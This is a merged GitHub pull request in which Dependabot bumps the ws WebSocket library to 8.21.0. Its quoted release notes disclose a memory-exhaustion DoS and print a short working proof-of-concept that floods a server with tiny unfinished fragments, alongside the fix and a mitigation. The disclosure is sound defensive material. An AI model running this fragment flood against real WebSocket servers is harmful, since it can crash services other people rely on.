Skip to content

chore(deps): bump ws from 8.20.1 to 8.21.0 in /tee-worker/omni-executor/client-sdk#4011

Merged
Kailai-Wang merged 1 commit into
devfrom
dependabot/npm_and_yarn/tee-worker/omni-executor/client-sdk/ws-8.21.0
May 22, 2026
Merged

chore(deps): bump ws from 8.20.1 to 8.21.0 in /tee-worker/omni-executor/client-sdk#4011
Kailai-Wang merged 1 commit into
devfrom
dependabot/npm_and_yarn/tee-worker/omni-executor/client-sdk/ws-8.21.0

Conversation

@dependabot
Copy link
Copy Markdown
Contributor

@dependabot dependabot Bot commented on behalf of github May 22, 2026

Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

@vercel
Copy link
Copy Markdown

vercel Bot commented May 22, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

1 Skipped Deployment
Project Deployment Actions Updated (UTC)
heima-aa-demo-app Ignored Ignored May 22, 2026 7:33pm

Request Review

@Kailai-Wang Kailai-Wang enabled auto-merge (squash) May 22, 2026 19:30
Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/tee-worker/omni-executor/client-sdk/ws-8.21.0 branch from 4028b56 to a1d9806 Compare May 22, 2026 19:33
@Kailai-Wang Kailai-Wang merged commit 902b4d6 into dev May 22, 2026
15 checks passed
@Kailai-Wang Kailai-Wang deleted the dependabot/npm_and_yarn/tee-worker/omni-executor/client-sdk/ws-8.21.0 branch May 22, 2026 19:43
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant